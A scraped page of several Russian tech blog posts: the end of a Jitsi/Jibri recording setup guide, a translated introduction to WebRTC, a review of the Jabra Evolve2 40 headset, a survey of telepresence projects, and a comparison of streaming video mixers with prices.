DEFAULT_CALL_EMPTY_TIMEOUT, it will consider it empty and stop the recording.    default-call-empty-timeout = 30 seconds  }}


Теперь нам осталось только перезапустить систему. Для этого введем следующие две команды: первую на сервере Jitsi, а вторую на Jibri соответственно (если оба сервиса стоят на одном сервере, то обе команды ввести на одном сервере):
# systemctl restart jitsi-videobridge2 prosody jicofo# systemctl enable --now jibri


Вот и готово. Теперь можно перейти в браузере на jitsi.dnsname.com запустить конференцию и включить ее запись. Видеофайлы можно найти на сервере Jibri в директории /srv/recordings. Забрать их с сервера можно множеством способов, я оставлю это на ваш полет фантазии, подскажу лишь несколько:
1. Настроить проброс портов (если сервер Jibri вы поставили за NAT), затем подключиться к серверу, например через WinSCP, и стянуть файл себе. То же самое можно сделать, только без проброса портов, если Jibri не за NAT и имеет внешний IP.
2. С помощью утилиты scp.

Сообщество Jitsi. Тут же взял мануал для Jibri.

Благодарю за внимание!
Благодарю Алексея Байко, Дарью Гулькович и Владислава Гедвило за внесенные правки.
Подробнее..

Перевод WebRTC для любопытных (часть 1)

02.06.2021 08:23:30 | Автор: admin

Данный материал - это вольный перевод онлайн-книги webrtcforthecurious.com. Вся книга будет разбита на отдельные статьи, которые будут выходить в разное время. В основном я это сделал для себя в будущем, так как в свободное от работы время почти целиком и полностью занимаюсь проектом в основе которого именно WebRTC.

Книга довольно поверхностно объясняет как работает WebRTC "под капотом", для подробностей надо читать RFC. Ссылки на RFC различных используемых протоколов буду приводить. Стоит особо отметить главу "Отладка", где неплохо описываются идеи того, как отлаживать различные проблемы с сетью, задержками и прочим.

Итак, часть 1 - вводная.


Что такое Webrtc?

Web Real-Time Communication или сокращенно WebRTC, является и протоколом и API одновременно. WebRTC как протокол - это множество правил для безопасного обмена информацией (обычно медиа) в режиме дуплекс между двумя агентами в сети. WebRTC как API в свою очередь позволяет разработчикам работать с протоколом. API формально определено только для JavaScript.

Такое же разделение и в отношении HTTP и Fetch API: WebRTC-протокол - это как HTTP, а WebRTC API - это как Fetch API в данном случае.

Помимо JavaScript протокол WebRTC реализован также и на других языках програмирования. Можно найти множество реализаций серверов, библиотек, реализующих протокол, примером может стать реализация на go pion/webrtc. Пишется реализация и на rust: https://github.com/webrtc-rs/webrtc (проект довольно интересный, потому что это переписываение pion/webrtc на rust).

Протокол WebRTC поддерживается в IETF в группе rtcweb. API WebRTC задокументировано в W3C как webrtc-pc.

Приемущества WebRTC

Далее приводится список того, что даст вам WebRTC. Список не полный, это просто примеры того, что заслуживает внимания. Не волнуйтесь, если какие-то слова вам не знакомы, в течение следующих частей разберем их подробнее.

Итак, приемущества WebRTC:

  • Открытый стандарт

  • Множество различных реализаций

  • Можно работать прямо из браузера

  • Обязательное шифрование

  • NAT Traversal

  • Перепрофилированная существующая технология, то есть не изобретали колес, когда делали WebRTC

  • Контроль за перегруженностью

  • Задержка (latency, имеется в виду задержка аудио и/или видеопотока) в пределах 1 секунды

WebRTC это набор разных технологий

Это тема, для объяснения которой потребуется целая книга. Для начала разобъем ее на четыре части:

  • Сигналинг

  • Соединение пиров

  • Безопасность

  • Общение пиров

Эти четыре шага идут друг за другом, каждый предыдущий шаг должен успешно завершиться чтобы начался следующий.

Интересный факт в WebRTC это то, что каждый шаг использует множество других протоколов!

WebRTC объединияет множество существующих технологий. В этом смысле WebRTC - это скорее комбинация в различных конфигурациях хорошо изученных технологий, которые существуют с начала 2000-х годов.

Каждому из этих шагов посвящена отдельная часть, но пока что будет полезным рассмотреть каждый шаг "с высоты птичьего полета".

Сигналинг или как агенты находят друг друга в сети

Когда запускается WebRTC-агент, он не знает с кем ему соединиться, и какого рода информацией он будет обмениваться. Сигналинг (Signaling) решает эту проблему! Сигналинг нужен для того, чтобы два агента могли найти и вызвать друг друга в сети перед тем, как начать обмен информацией.

Сигналинг использует существующий протокол SDP (Session Description Protocol). SDP это простой текстовый протокол. Каждое SDP-сообщение состоит из пар ключ-значение, расположенных в строгом порядке (rfc4566), которые в свою очередь составляют набор медиа-секций. SDP-сообщения, которыми обмениваются WebRTC-агенты содержит такую информацию как:

  • адреса IP и порты агентов, по которым можно соединиться с агентом (это т.н. ICE-кандидаты)

  • сколько аудио и видео треков агент желает отправить

  • какие аудио и видео кодеки поддерживает каждый из агентов

  • значения используемые во время соединения (uFrag/uPwd).

  • значения используемые для безопасности (отпечаток сертификата)

Отметим, что сигналинг обычно работает как бы в сторонке; то есть приложения не используют WebRTC для обмена SDP сообщениями. Тут подходит любой способ обмена этими сообщениями: REST, Websocket, да хоть письмом по почте можно отправить другому пиру SDP-сообщение, а тот в свою очередь отправит свое. В своем приложении для тестов я вообще использовал firebase для сигналинга.

Установка соединения и NAT Traversal с помощью STUN/TURN

Теперь у обоих сторон WebRTC агентов достаточно информации о том, чтобы соединиться друг с другом. Далее используется другая устоявшаяся технология под названием ICE.

ICE (Interactive Connectivity Establishment) - это протокол предваряющий WebRTC. ICE позволяет установить связь между двумя агентами. Эти агенты могуть быть в одной и той же сети, а могут быть и на противоположных концах света. ICE решает проблему установления прямой связи без использования промежуточного сервера.

Настоящая магия здесь это т.н. NAT Traversal и STUN/TURN сервера. Обе эти концепции необходимы для соединения с ICE агентом из другой сетки. Далее мы изучим этот вопрос глубже.

Как только связь между двумя агентами установлена, WebRTC переходит к установлениею шифрованного канала передачи. Далее этот канал будет использован для передачи аудио/видео и данных.

Шифрование передачи информации с помощью DTLS и SRTP

После того как мы установили дуплексную связь между двумя пирами через ICE, нам необходимо установить шифрованное соединение для обеспечения безопасности при передаче данных. Это обеспечиватся двумя протоколами, которые также предваряют WebRTC: DTLS (Datagram Transport Layer Security), который просто добавляет слой TLS над UPD. (TLS - криптографический протокол используемый для безопасного обмена через https). Второй протокол - это SRTP (Secure Real-time Transport Protocol).

Сначала WebRTC выполняет DTLS-"рукопожатие" через соединение установленное ранее через ICE. В отличие от HTTPS WebRTC не использует CA для сертификатов. Вместо этого просто сверяет отпечатки сертификатов, полученных в ходе обмена SDP-сообщениями на этапе сигналинга. Установленное DTLS соединение далее используется для DataChannel, для обмена простыми данными - бинарными или текстовыми, например сообщения в чате.

Для видео/аудио в WebRTC используется другой протокол: RTP. Для шифрования RTP-пакетов используется протокол SRTP. SRTP сессия инициализируется с помощью ключей шифрования полученных в ходе DTLS сессии (rfc5764). Далее мы обсудим, почему для медиа-данных используется свой собственный протокол.

Теперь все готово! У нас есть двунаправленный и безопасный канал. Если у вас стабильное соединение между вашими WebRTC-агентами, то вышеописанный комплекс процедур достаточен чтобы начать им (агентам) общаться. Однако в жизни все не так идеально, как кажется: мы постоянно будем сталкиваться с потерей пакетов в сети, ограниченной пропускной способностью сети. Дальше мы подумаем, как справляться со всеми этими проблемами.

Общение между пирами через RTP и SCTP

Сейчас мы имеем два WebRTC-агента с безопасным двунаправленным соединением. Давайте начнем взаимодействие! И снова мы используем уже существующие протоколы: RTP (Real-time Transport Protocol), и SCTP (Stream Control Transmission Protocol). Используйте RTP для обмена аудио/видео шифрованным по протоколу SRTP и SCTP для обмена DataChannel-сообщениями, шифрованными с помощью DTLS.

RTP сам по себе очень минимален, но предоставляет все необходимое для стриминга в реальном времени. Важно то, что RTP предоставляет разработчику гибкость в управлении потерями пакетов, задержками и перегрузками так, как он (разработчик) пожелает. Далее мы будем обсуждать по этой теме в части про медиа.

Последний протокол в стеке протоколов WebRTC - это SCTP. SCTP дает множество возможностей для управления доставкой сообщений. Например, это может быть ненадежная неупорядоченная доставка сообщений, для того, чтобы получить задержку, удовлетворительную для систем реального времени.

WebRTC это набор протоколов

WebRTC решает множество проблем коммуникаций в реальном времени. На первый взгляд этот протокол может показаться овер-инжинирингом. Гениальность WebRTC - это так сказать скромность. При создании протокола не было цели решить все идеально. Вместо этого WebRTC взял множество существующих технологий, направленных на решение конкретной задачи, и объединил их вместе. На рисунке 1 ниже представлена диаграмма WebRTC агента. Как видно из схемы, WebRTC-агент на самом деле представляет собой оркестрацию различных протоколов.

Рис.1. WebRTC Agent DiagramРис.1. WebRTC Agent Diagram

Кратко: как работает WebRTC (API)

В этой части показано как JavaScript API отображается на протокол. Это не демонстрация WebRTC API, а скорее некоторый набросок для создания у вас ментальной модели, как все работает вместе. Если вы не знакомы с каким-либо из пунктов, не переживайте, можете вернуться сюда когда узнаете больше!

new RTCPeerConnection

RTCPeerConnection - это основа для установления WebRTC-сессии. Объект RTCPeerConnection реализует "под капотом" все протоколы, упомянутые выше. Здесь инициализируются все подсистемы, и пока что ничего больше не происходит.

addTrack

Метод addTrack создает новый RTP-поток. Для потока генерируется случайный Synchronization Source (SSRC). Созданный RTP поток будет затем описан в Session Description-сообщении внутри медиа-секции после вызова createOffer метода. Каждый вызов addTrack создает новый SSRC и добавляет медиа-секцию в SDP-сообщение.

Сразу после того, как SRTP сессия установлена, зашифрованные медиа-пакеты начнут отправляеться через ICE.

createDataChannel

createDataChannel создает новый SCTP-поток, если еще не был добавлен. По умолчанию SCTP выключен, но инициализируется как только одна из сторон потребует data channel.

Сразу после того, как DTLS сессия установлена, SCTP пакеты начнут отправляться через ICE.

createOffer

createOffer генерирует Session Description для отправки удаленному пиру.

Вызов createOffer ничего не меняет на локальном пире.

setLocalDescription

setLocalDescription фиксирует все, что менялось в созданном RTCPeerConnection для локального пира. Методы addTrack, createDataChannel и другие осуществляют временные изменения до тех пор, пока метод setLocalDescription не будет вызван. В этот метод нужно передавать строку session description сгенерированную методомcreateOffer.

После вызова setLocalDescription сгенерированное SDP-сообщение также отправляется на удаленный пир (выше обусждалось, что это можно делать любым способом), и далее на удаленном пире SDP-сообщение (offer) передается в метод setRemoteDescription. Удаленный пир в свою очередь отправляет свой локальный SDP в ответ (answer), который также нужно передать локально в setRemoteDescription.

addIceCandidate

addIceCandidate позволяет WebRTC-агенту добавить больше удаленных ICE-кандидатов.

ontrack

ontrack - это колбек (функция обратного вызова), который срабатывает как только RTP-пакет был получен от удаленного пира.

oniceconnectionstatechange

oniceconnectionstatechange - это также колбек, который отражает состояние ICE агента. Любые проблемы с сетью отражаются через этот колбек.

onstatechange

onstatechange - этот колбек служит для отслеживания окончания сбора всех ICE-кандидатов. Как только аргумент этого обратного вызова станет null, все ICE-кандидаты собраны.

В следующей части разберем Signaling и SDP.

Подробнее..

Jabra Evolve2 40 или комфортная удаленка с элементами аудиофилии

29.11.2020 18:06:30 | Автор: admin

Всем привет!


Итак, после прошлого поста про то, как я ушел на удаленку с 4К камерой и спикерфоном, прошло больше полугода. И мы уже даже успели все собраться в офисе и опять разбежаться началась вторая волна ковида. Кстати решил сдать тест на Ковид и о чудо, я уже переболел видимо в легкой форме, антитела 3,81.

Ко второй волне мой парк гаджетов был пополнен весьма приятным гаджетом, на которое даже не жалко 2 часа времени чтобы снять короткий обзор. Речь пойдет о гарнитуре с микрофоном (моя первая в жизни гарнитура) Jabra Evolve2 40.





Распаковка.


Курьер принес вот такую коробочку:



С обратной стороны:






Вскрытие:



Внутри мой внутренний эколог ликует нет лишней макулатуры в виде инструкций, туториалов и прочего барахла. Только сиротливая мировая гарантия, видимо из за требований законодательства...:


Уши в приятном неопреновом чехле, назначение которого мне не понятно вроде не походный девайс От кого или от чего прятать эту гарнитуру мне пока непонятно, напишите мысли в комментариях:


А вот и вся инструкция:


Диджеям должно понравиться разворот на честные 180 градусов:


Микрофонный хвост откидывается вверх и вниз:


Кабель USB-A, хотя можно было взять USB-C, но на рабочем компе нет такого разьема:


Кабель с индикатором активности:


Внутренний эколог не зря ликовал!


Общий вид на голове:


Кнопки управления громкость и ответ по середине, с маком дружит!


Отдельная кнопка активации и деактивации микрофона:


Вскрыл амбошуры, внутри огромные динамики у меня такого же размера стоят в DT 1770:


Решил залезть поглубже(как я обычно люблю), но смог разобрать только левое ухо все на защелках:






Тот самый микрофон на базе электронно -механической технологии MEMS:




Стороны которые трутся друг об друга при транспортировке, бережно оклеены лентой:


Да, вот тут трутся:


При первом подключении уши начинают обновляться до последней версии:


Так же родная софтина имеет кучу настроек:


Бонусом уши отлично подключаются к айфону с помощью Apple Camera Kit, который я использую для портативного усилителя. Но (бред) их невозможно использовать как гарнитуру только как наушники:






Итоги двухнедельного использования



Дизайн 5/5


Что ни говори, но Jabra заслуженно является хедлайнером в гарнитурах и прочем ВКС железе.
Все очень сторго, аскетично, но в тоже время функционально и понятно. Честно говоря, первый раз как я вытащил их из коробки я не заметил ни одной кнопки (думал их там нет), потом нашел 3, потом еще две. Потом оказалось что и поворотный микрофон тоже функционален.

Звук 5/5


Вот это ради чего я весь обзор и затеял звук просто бомбический. Я не знаю как они это делают, но пассивная звукоизоляция работает магически когда звука нет ты слышишь все что происходит вокруг, но когда идет конференция (звук передается через гарнитуру) все вокруг как будто приглушается (хотя как такового шумодава не заявлено только пассивный). Собеседник слышит исключительно меня, все остальные звуки отрезаются магия.

Еще, что отметил великолепный встроенный усилитель. Скажу одно за 2 недели активного использования я ни разу не достал свою связку для прослушивания музыки FOSTEX RP50 + TOPPING NX4 DSD. Я просто кайфовал от отличного детального звука через Deezer FLAC подписку, причем как с ноутбука так и с Айфона. Сильное место детальность, разборчивость особенно на СЧ и ВЧ. Слабое место есть каша на низах, сложные барабанные партии не их конек (господи о чем это я это же гарнитура, а не студийные мониторы!)))

Эргономика 4/5


Сидят уши свободно, но на моей голове иной раз норовят свалится назад, особенно если часто тыркать откидной микрофон. Особенно часто слетают при активном брожении по дому в связке с Айфоном в кармане. Что сразу (точнее не сразу) замечаешь, так это то, что голова и уши (физиологические) абсолютно не не устают в них, вот от слова вообще мой рекорд 4,2 часа с одним отходом в туалет на пятничной видеоконференции с сотрудниками. Еще отметил, что в сравнении с теми же FOSTEX есть один приятный момент давление на уши при любом уровне громкости практически незаметное, видимо за счет легкой конструкции самих амбошур.

Выводы


Гарнитура конечно для особо приближенных к императору ценителей качественных и действительно профессиональных вещей. Это прежде всего инструмент для очень очень интенсивного использования прежде всего в бизнесе и играх. Мне важно, что в любом месте, в любое время ты просто втыкаешь их в любое устройство и они просто работают собеседник слышит тебя без лишних помех и фонового шума. Да и уровень и ответственность некоторых моих телеконференций просто не позволит провести его в непонятных девайсах непонятного происхождения.
p.s. Под шумок подумал было бы неплохо если микрофон можно было бы отстегнуть тогда были бы еще отличные наушники для самолета, но это уже другая история -)

Спасибо за ваше внимание!
Подробнее..

На шаг ближе к телеприсутствию

19.05.2021 18:19:31 | Автор: admin
image


Google проанонсировали проект Starline, что вызвало резкий всплеск обсуждений на англоязычных площадках.

Технология позволяет хакнуть восприятие вам кажется что вы на саомо деле разговариваете с живым человеком напротив вас, который на самом деле находится за тысячи километров. Технология настолько реалистична, что хочется протянуть руку и потрогать собеседника.

Автостереоскопия разновидность стереоскопии, в которой для восприятия объёмного изображения не требуются какие-либо сепарирующие приспособления в виде очков, стереоскопов и других устройств, размещаемых перед глазами наблюдателя. Объёмное изображение воспринимается при непосредственном рассматривании плоского экрана или фотоснимка и называется автостереограммой.

Какие еще есть проекты в области реалистичного телеприсутствия?

Как рисует будущее Google




image

Переговорка нового поколения.

image

Google использует технологии захват 3д-сканирования, сжатия в реальном времени, пространственное аудио, построение 3д-картинки и 3д-дисплей.



Скептичный комментарий c HackerNews:

Моя первая мысль: в 2030 году, когда я позвоню бабушке с этого усройства, мне сначала нужно будет принять файлы cookie, затем принять новую политику конфиденциальности Google, затем войти в свою учетную запись Google, а затем посмотреть 2 20-секундных рекламных ролика в начале ролика.


Так же у Гугла есть VR180 камеры:



Четкие, трехмерные фотографии и видео с эффектом присутствия в широкоугольном формате и с разрешением Ultra HD 4K позволят вам пережить запечатленные моменты с удивительным чувством присутствия.

image

Еще одна разработка Гугла: Immersive Light Field Video with a Layered Mesh Representation



Система для захвата, реконструкции, сжатия и рендеринга высококачественного иммерсивного видео в световом поле. Мы записываем иммерсивные световые поля с помощью настраиваемого массива из 46 синхронизированных по времени камер, размещенных на поверхности полусферического купола диаметром 92 см. На основе этих данных мы производим объемные видеоролики 6DOF с широкой базовой линией обзора 80 см, угловым разрешением 10 пикселей на градус и широким полем обзора (> 220 градусов) при частоте кадров видео 30 кадров в секунду.



Как рисует будущее Looking Glass Factory




Looking Glass делают голографический дисплеи, в тч и



Как рисует будущее Sony






Как рисует будущее Tonari




Дверь-портал в другую комнату.

Как рисовили будущее HP






Как будущее будет выглядеть скорее всего


Подробнее..

Как организовать качественное видеомикширование источников во время онлайн трансляций?

20.11.2020 12:14:59 | Автор: admin
Кто сегодня не слышал про вебинары реалии сегодняшнего дня. Вебинары уже лет пять назад начали стремительно набирать обороты, а уж сегодня так это массово используемый прием обучения, продаж, маркетинговых исследований, представлений и так далее. Организации знают, чтобы оставаться на рынке, нужно постоянно генерировать новый контент и светиться на рынке. Значит контент должен выходить на свет все более качественный, приятный глазу и слушателю, удерживая его фокус внимания на нужных вещах.



Поэтому одна встроенная камера в ноутбук и сама презентация уже никого не удивляет. Люди прибегают к использованию нескольких камер с качественной оптикой, возможностью приближения, различными углами съемки, выносными микрофонами и так далее. Больше источников аудио и видео сигналов, плюс дополнительные требования к видеообработке, свету, микшированию сигналов, а также онлайн стриминг сразу в сеть просто вынуждают компании предлагать рынку готовые устройства все в одном потоковые видеокоммутаторы.

Популярность веб-конференций и направления коммутирования сигналов


Потоковое или живое видео всегда интереснее записи. Здесь все по-настоящему, есть ведущий, есть зрители и трансляции в таком формате проходят буквально тет-а-тет, достигается практическое живое общение, вплоть до озвученных вопросов от участников и такие же ответы ведущих. Соответственно для создания приятного глазу и слуху видео-контента требуется уровень камеры и звука чуть выше, чем от привычных стандартных встроенных устройств.

Хорошо, если камера может выдавать сигнал по USB, тогда не потребуются карты видеозахвата, но если использовать несколько камер уже будут сложности. Та же история со звуком отдельный микрофон-петличка, значит на приемной стороне будет аудио-кабель. Можно сразу и в компьютер, если есть микрофонный вход. А если микрофонов несколько тогда дополнительный микшер.

В итоге, пути расходятся либо в аппаратную, либо в программную обработку сигналов. Микширование на аппаратных устройствах будет быстрее и с меньшим шансом в отказе работы. Программное, соответственно, возможно в некоторых случаях, с правильным подходом и умениями, более функциональное, но со своими особенностями.



Аппаратные устройства


Первый приходящий вопрос в голове: а кто чаще работает с живым сигналом, если не люди из броадкастинга?. С другой стороны, компании, разрабатывающие AV оборудование для эффективного обмена аудио и видео информацией высокого качестве в разных проектах, также имеют в своем арсенале качественные коммутаторы видео сигналов. Но здесь внимание уделяется качеству, дальности передачи и переключению сигналов, нежели эффектным переходам.

Дополнительный сильный толчок за счет произошедшей ситуации во всем мире с начала 2020 года позволил компаниям перестроить подход используемого оборудования под новые нужды. Таким образом, появился некоторый новый сегмент рынка, объединивший функционал работы с живым видео, работой с цифровыми сигналами, одновременно интегрировав микширование аудио и видео, упаковав все это в одном устройстве, приукрасив возможностью потоковой трансляции, что стало привычным для большинства компаний на сегодняшний день.

Никто не спорит, что видеомикшеры были и раньше, но речь идет про микшеры с уклоном в бытовые, если их можно так сказать, сигналы. Так еще с добавлением функций стриминга.

То бишь такое устройство, с которым может разобраться не только профессионал, но и любой пользователь. В итоге на рынке, на сегодняшний день, уже более десяти различных компактных устройств микширования и стриминга, укомплектованных в едином корпусе, от зарекомендовавших себя производителей AV-оборудования. Есть достойные модели, подходящие под студийные мероприятия, а также средние и базовые модели, которые можно использовать в офисах во время вебинаров, в домашних условиях или брать с собой для проведения выездных мероприятий.

В этой статье пойдет речь только о микшерах с интегрированным функционалом потокового стриминга, потому что углубляться в отдельный мир микшеров видео сигналов без встроенной функции потоковой передачи не имеет смысла, так как модельный ряд в этом случае различен и огромен. Нас интересуют устройства компактных размеров, с основными входами/выходами HDMI (чаще используемые в массах), с микшированием аудио сигналов (в том числе микрофонов), с подключением микрофонов, стримингом в сеть или USB, а также возможностью проведения веб-конференций без профессиональной режиссерской подготовки.

Потоковые видеокоммутаторы


Первая компания, о которой пойдет речь, берет свое начала в стране восходящего солнца Японии, в 1972 году. Основное направление производство электронных музыкальных инструментов и программного обеспечения к ним. Богатая история компании, зарекомендовав себя среди музыкальной индустрии, с 2010-х годов расширяет сферу влияния в области видео сигналов, итогом чего являются как раз компактные потоковые видеомикшеры.

Roland Corporation предлагает широкую линейку оборудования видеомикшеров, которая успевает двигаться в ногу со временем, поддерживая стандарты 4К качества, однако в роли потоковых микшеров выступают лишь три модели на конец 2020 года.
Модель VR-1HD VR-4HD VR-50HD MK II
Краткое описание Вещательная студия формата подключил и работай. Полноценная студия стандарта HD в формате компактного устройства. Расширенная модель, вобравшая мощный функционал студийного микшера с возможностью потоковой трансляции.
Входные интерфейсы 3х HDMI 4х HDMI 4х HDMI, 4х SDI
Выходные интерфейсы MAIN: 1х HDMI;
MONITOR: 1х HDMI;
THRU connector: 1х HDMI (from HDMI 3rd);
USB: 1x USB (type B);
MAIN: 1x HDMI or
RGB/COMPONENT;
PREVIEW: 1x HDMI;
USB: 1x USB (type B);
2x SDI (PGM OUT, AUX OUT);
3x HDMI OUT (PGM OUT, AUX OUT, MULTI-VIEW OUT);
2x Analog RGB/HD-Component (PGM OUT, AUX OUT);
USB: 1x USB (type B);
Микрофонные входы 2 XLR/TRS 4 комбо-разъема XLR/TRS 6 комбо-разъемов XLR/TRS
Линейные входы 1 стереофонический RCA 1 стереофонический RCA + 1 стереофонический миниразъем 2 стереоджековых 1/4" + 2 стереофонических RCA
Дополнительные возможности Выход USB 3.0 для онлайн трансляции, захвата и выдачи аудио-сигналов Выход USB 3.0 для онлайн трансляции, захвата и выдачи аудио-сигналов Выход USB 3.0 для онлайн трансляции, захвата и выдачи аудио-сигналов
Стоимость РРЦ (конец 2020 года) 105'500 руб 224'800 руб 528'900 руб
Помимо основных характеристик, микшеры поддерживают различные функции в числе которых присутствует бесплатное программное обеспечение, позволяющее записывать видео и аудио сигналы по USB сразу на жесткий диск компьютера.



Есть возможность использовать пульт удаленного управления в видео софта на компьютере (поддерживает Mac и Windows), который полностью повторяет функционал самого микшера. Эта функция становится удобной, когда микшер устанавливается непосредственно в студии, а управление идет из операторской или удаленной комнаты, обычно с хорошей звукоизоляцией.



imageВидеомикшеры поддерживают функции хромакея, и уже в младшей версии устройства имеется возможность объединения трех источников в единый видеопоток, без необходимости дополнительного оборудования.

imageДалее, начиная с базовой модели, присутствует возможность создания готовых пресетов, вызывая которые во время эфира или подстраиваясь на ходу, можно объединять картинку в картинке, применять совмещение или разбиение экрана (split screen).


Имеется возможность подвязки микрофонного входа ко входному видео источнику, соответственно облегчая автоматическое переключение видео-камер, в зависимости от выступающего. Присутствует функция изменения голоса выступающих где любой участник может говорить голосами других людей или не людей вовсе, создавая различные эффекты во время презентации.

И самое главное, что здесь есть это встроенная возможность подключения и трансляции аудио-видеосигнала по USB 3.0 на компьютер, а далее на любые платформы. При этом, помимо извлечения эмбедированного (внедренного) аудио сигнала из видеоисточников HDMI, можно микшировать аудио сигнал с порта USB во время звонков по программному ВКС (Skype, Zoom, Teams и так далее). Разработчики не забыли интегрировать функцию Echo Cancelation для предотвращения возникновения обратной связи с компьютерным аудио.



В более старшей модели VR-4HD видимыми различиями является встроенный сенсорный экран, на котором можно выводить multiview режим, а также информацию меню управления.

Есть поддержка функции DSK (Downstream Key) для накладывания титров, текстов песен или логотипов на видеосигналы источников, которые могут меняться.

imageА в расширенной модели VR-50HD MK II уже есть удаленное управление подключенными PTZ камерами, позволяя управлять шестью PTZ камерами одновременно по сети. Выходных интерфейсов три Program, Multiview, а также AUX, позволяя перенаправлять любой подключенный сигнал на данный выход, который работает независимо от основного программного выхода.

Итогом получаем компактное устройство, которое с одной стороны позволяет коммутировать видео-источники, с другой обеспечивает простое управление аудио сигналами. При этом все управление рассчитано на одного оператора, не требуя наличия специализированных знаний.

Другая компания, которая была основана лишь в 2002 году и является австралийским производителем электронного оборудования, в основном разработанного для вещания и видеопроизводства, достаточно быстра стала популярной в сфере вещательного телевидения. А уже в 2020 году представила линейки компактных видеомикшеров с возможностью потокового вещания, отвечающие сегодняшним тенденциям АВ-рынка.

Blackmagic предлагает три варианта видеомикшеров для создания многокамерного контента на вещательном уровне.



Вся линейка микшеров лишена излишек, компактный дизайн, минимальные размеры, здесь учтено лишь только то, что нужно. Похоже на то, что разрабатывалось это устройство именно как дополнение для веб-трансляций и не более.
Модель ATEM Mini ATEM Mini Pro ATEM Mini Pro ISO
Краткое описание Модель имеет 4хHDMI входа, выходы 1хHDMI и 1хUSB, а также 2х микрофонных входа. В дополнении к модели mini, модель Pro имеет возможности записи в H.264 на флеш-диски USB, обеспечивать потоковую трансляцию через Ethernet. Имеется многооконный режим (до 4х источников). В дополнении к модели Pro, модель ISO позволяет вести запись до 5ти отдельных видеопотоков в H.264. Сохранять проектный файл DaVinci Resolve для дальнейшего монтажа.
Видео входы 4х HDMI 4х HDMI 4х HDMI
Видео выходы 1хHDMI
1xUSB
1хHDMI
1xUSB
1хHDMI
1xUSB
Разрешения Up to 1080p60 Up to 1080p60 Up to 1080p60
*support input standards up to 1080i/p60
**поддерживают автоматическое преобразование форматов на всех входах HDMI
Аудио входы 2х (mic) 3.5mm miniJack (stereo) 2х (mic) 3.5mm miniJack (stereo) 2х (mic) 3.5mm miniJack (stereo)
Multiview - + +
Стриминг С помощью бесплатного ПО Через Ethernet порт Через Ethernet порт
Запись на USB-флеш диски - + +
Стоимость РРЦ (конец 2020 года) 34'790 руб 59'900 руб 91'990 руб
Концепция данных устройств позиционируется именно как устройство для стриминга с функциями видеомикшера, поэтому здесь всего один выход HDMI, USB и LAN. В зависимости от модели, можно либо осуществить трансляцию через бесплатное ПО с компьютера через USB подключение (ATEM mini), либо непосредственно через Ethernet порт, а USB-интерфейс использовать для записи на USB-флеш накопитель (ATEM mini Pro и ISO).

imageВсе компактные микшеры данного производителя поддерживают эффектные переходы, возможность наложения титров, бесплатное программное обеспечение ATEM Software Control для удаленного управления с компьютера, плюсом имеется возможность разрабатывать собственные продукты с помощью пакета SDK.

Различия имеются лишь в потоковом вещании и записи сигналов для пост-обработки.

Базовая модель mini является мини-микшером с возможностью эффектного переключения 4-х входных сигналов и вывод любого из них через HMDI интерфейс. Если требуется стриминг тогда потребуется USB подключение к компьютеру с установленным ПО (бесплатным от производителя). А Ethernet порт в этой модели используется только для удаленного управления.

imageСредняя модель Pro имеет все характеристики базовой версии, но уже обладает возможностью стриминга непосредственно в H.264 через Ethernet порт. Порт HDMI в данном случае используется для режима multiview, на котором можно отобразить: сигналы preview, program, каждый входной сигнал, медиаплеер с выбранной графикой, состояние записи, трансляции и аудиоблока.

Получается, что для потокового вещания компьютер не нужен, а управление можно настроить хоть с телефона (ПО присутствует), подключив микшер и телефон к точке доступа wi-fi.

imageА расширенная модель Pro ISO позволяет производить запись пяти сигналов программного и чистых сигналов с входов для дальнейшего монтажа.


В итоге компания представляет три варианта, от самого простого, где требуется дополнительный ПК для трансляции, средний вариант который имеет уже полный функционал для микширования каналов, записи на внешние диски и главное, трансляцию. И топовый вариант для тех, кому больше необходима пост-обработка в дополнении к основному функционалу.


imageЕще одна компания, основанная в 1979 году в Тайвани, идущая с девизом просто лучшие соединения позиционируется на рынке как производитель коммутационного оборудования. В дополнении к уже существующему оборудованию, представила удивительно-компактный видеомикшер, чтобы не отставать от тенденций развития потокового контента на рынке.

ATEN UC9020 является микшером, у которого встроенного экрана нет. Поэтому, чтобы просматривать дополнительную информацию (а она нужна), придется приобрести планшет от не менее известной американской компании Apple. А чтобы планшет в неудобный момент времени не разрядился понадобится еще один разветвитель для питания.
Модель UС9020, UС-9020
Краткое описание Портативное устройства для микширование многоканального видео и звука с возможностью потоковой трансляции.
Видео входы 1x HDMI (до 4K@60Гц);
2x HDMI (до 1080@60Гц, переключаемые)
Видео выходы 1x Loop-Thru HDMI (до 4K@60Гц);
1 x HDMI (PGM) (до 1080@60Гц);
USB 3.0
HDCP Не поддерживается
Аудио входы Деэмбедирование из HDMI;
1x микрофонный вход, 6,5 мм (dual mono);
1x линейный вход, RCA
Аудио выходы Эмбедирование в HDMI;
1x разъем линейного выхода, 3,5 мм (стерео)
Запись на USB-флеш диски Через USB-порт
Стоимость РРЦ (конец 2020 года) 136'030 руб
Устройство без дополнительного планшета, выполняющего роль экрана, работать будет, но настроить будет невозможно. Микрофонный вход только один, хотя при этом присутствует захват 3х источников видео, один из которых поддерживает разрешение 4К и имеет свой проходной выход. Но максимальное выходное разрешение только fullHD.

Идеология устройства в том, что программное обеспечение, как и ПК не требуется, подразумевается работа в формате plug-n-roll. Заложенный функционал позволяет осуществлять предварительный просмотр и мониторинг через приложение на планшете, менять пресеты с выбором: полноэкранный режим, изображение рядом, картинка в картинке, позволяет накладывать текст и субтитры. Сама трансляция идет непосредственно через Ethernet порт, что удобно.

В итоге получается очень компактное устройство, где особенностью сразу выступает дополнительно приобретаемый планшет, если таковой отсутствует. Данный видеомикшер позволяет захватывать звук непосредственно только с одного микрофона, а значит, при таком наборе характеристик, устройство больше подходит для трансляции с одним участником, чем для проведения каких бы то дискуссий и обсуждений.

Еще один тайваньский производитель DataVideo, основанный в 1985 году, в основном специализирующийся на разработке и производстве оборудования для вещательного рынка, также выпустил микшерный пульт с возможностью потоковой трансляции в корпусе с основным 14 сенсорным экраном и дополнительными элементами управления.
Модель KMU-200
Краткое описание Устройство все в одном, позволяет переключать, микшировать звук, вести запись и потоковую трансляцию.
Видео входы 1x HDMI 2.0 (up to 3840x2160p@60);
1x HDMI 1.4 with Loop through (up to 1920x1080p@60)
Видео выходы 2x HDMI 1.4 (PGM, AUX) (up to 1920x1080p/i@60)
HDCP Не поддерживается
Аудио входы 2x XLR(Mic);
2x RCA
Аудио выходы 2x Unbalanced RCA
Запись на SD-карты Присутствует
Стоимость РРЦ (конец 2020 года) 359'325 руб

